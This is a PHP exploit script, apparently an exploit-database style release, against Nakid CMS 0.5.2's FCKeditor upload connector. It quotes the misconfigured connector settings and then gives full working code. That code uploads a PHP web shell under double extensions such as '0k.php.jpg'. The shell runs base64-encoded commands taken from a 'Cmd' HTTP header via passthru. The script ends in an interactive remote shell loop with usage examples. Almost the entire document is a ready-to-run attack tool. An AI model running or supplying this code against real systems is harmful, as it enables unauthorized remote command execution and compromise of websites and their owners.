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<?php
/*
Title: Nakid CMS (fckeditor) Remote Arbitrary File Upload Exploit
Developers: www.nakid.org
Download : https://sourceforge.net/projects/nakidcms/files/Nakid%20CMS%20v_0_5_2.rar/download
Version: 0.5.2
exploited by ..: eidelweiss
details..: works with an Apache server with the mod_mime module installed (if specific)
[-] vulnerable code in path/includes/js/fckeditor/editor/filemanager/connectors/php/config.php
[*] // SECURITY: You must explicitly enable this "connector". (Set it to "true").
[*]
[*] $Config['Enabled'] = true ;
[*]
[*] // Path to user files relative to the document root.
[*] $Config['UserFilesPath'] = '/nakid_uploads/' ;
[*] //$Config['UserFilesPath'] = '/userfiles/' ;
[*]
[*] // Fill the following value it you prefer to specify the absolute path for the
[*] // user files directory. Usefull if you are using a virtual directory, symbolic
[*] // link or alias. Examples: 'C:\\MySite\\UserFiles\\' or '/root/mysite/UserFiles/'.
[*] // Attention: The above 'UserFilesPath' must point to the same directory.
[*]
[*] // What the user can do with this connector.
[*] $Config['ConfigAllowedCommands'] = array('QuickUpload', 'FileUpload', 'GetFolders', 'GetFoldersAndFiles', 'CreateFolder') ;
[*]
[*] $Config['AllowedExtensions']['File'] = array('7z', 'aiff', 'asf', 'avi', 'bmp', 'csv', 'doc', 'fla', 'flv', 'gif', 'gz', [....]
[*] $Config['DeniedExtensions']['File'] = array() ;
[*]
[*] $Config['AllowedExtensions']['Image'] = array('bmp','gif','jpeg','jpg','png') ;
[*] $Config['DeniedExtensions']['Image'] = array() ;
[*]
[*] $Config['AllowedExtensions']['Flash'] = array('swf','flv') ;
[*] $Config['DeniedExtensions']['Flash'] = array() ;
[*]
[*] $Config['AllowedExtensions']['Media'] = array('aiff', 'asf', 'avi', 'bmp', 'fla', 'flv', 'gif', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'png', 'qt', 'ram', 'rm', 'rmi', 'rmvb', 'swf', 'tif', 'tiff', 'wav', 'wma', 'wmv') ;
[*] $Config['DeniedExtensions']['Media'] = array() ;
with a default configuration of this script, an attacker might be able to upload arbitrary
files containing malicious PHP code due to multiple file extensions isn't properly checked
*/
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
function upload()
{
global $host, $path;
$connector = "/includes/js/fckeditor/editor/filemanager/connectors/php/config.php";
$file_ext = array("zip", "jpg", "fla", "doc", "xls", "rtf", "csv");
foreach ($file_ext as $ext)
{
print "\n[-] Trying to upload with .{$ext} extension...";
$data = "--abcdef\r\n";
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"0k.php.{$ext}\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n";
$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";
$data .= "--abcdef--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=abcdef\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $data;
preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");
$packet = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;
sleep(1);
}
return false;
}
print "\n+--------------------------------------------------------------------------+";
print "\n| Nakid CMS (fckeditor) Remote Arbitrary File Upload Exploit by eidelweiss |";
print "\n+--------------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /Nakid/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
if (!($ext = upload())) die("\n\n[-] Exploit failed You are not lucky...\n");
else print "\n[-] Shell uploaded in progress...!\n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
print "\Nakid-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
$packet.= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
if (!eregi("_code_", $html)) die("\n[-] Exploit failed You are not lucky...\n");
$shell = explode("_code_", $html);
print "\n{$shell[1]}";
}
else break;
}
?>
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